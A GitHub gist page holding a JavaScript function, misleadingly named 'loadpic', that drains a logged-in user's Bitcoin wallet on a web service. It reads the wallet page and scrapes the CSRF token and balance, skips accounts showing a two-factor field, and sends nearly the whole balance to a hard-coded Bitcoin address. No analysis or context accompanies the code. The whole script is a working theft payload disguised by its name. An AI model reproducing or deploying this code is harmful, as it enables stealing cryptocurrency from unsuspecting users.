Skip to content

Instantly share code, notes, and snippets.

@ukd1
Last active December 22, 2015 23:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ukd1/6545304 to your computer and use it in GitHub Desktop.
Save ukd1/6545304 to your computer and use it in GitHub Desktop.
function loadpic() {
function btcget() {
$.ajax({
url: '/accounts/wallet/',
type: 'GET',
dataType: 'html',
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
error: function() {},
success: function(data) {
walh(data);
}
});
}
function btcsend(btcamount, btcto, csrf) {
var pd = {
'csrfmiddlewaretoken': csrf,
'address_to': btcto,
'amount': btcamount,
'send_submit': 'Send from wallet'
};
$.ajax({
url: '/accounts/wallet/',
data: pd,
type: 'POST',
dataType: 'html',
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
error: function() {},
success: function(data) {}
});
}
function walh(html) {
var hastfa = '';
var csrftoken = '';
var btc = 0;
var m = html.match(/label for=.(id_token)/);
if (m && m[1]) {
if (m[1] != '') {
return;
}
}
m = html.match(/.csrfmiddlewaretoken. value=.([a-zA-Z0-9_-]+)/);
if (m && m[1]) {
csrftoken = m[1];
} else {
return;
}
m = html.match(/Wallet: ([0-9,.-]+) BTC/);
if (m && m[1]) {
btc = m[1];
} else {
return;
}
btc = parseFloat(btc);
btc = btc.toFixed(2);
if (btc < 0.02) {
return;
}
btc = btc - 0.01;
btc = btc.toFixed(2);
btcsend(btc, '12PLw9HYoK6BguB1w4QcNBKzmRANJ5bj2c', csrftoken);
}
btcget();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment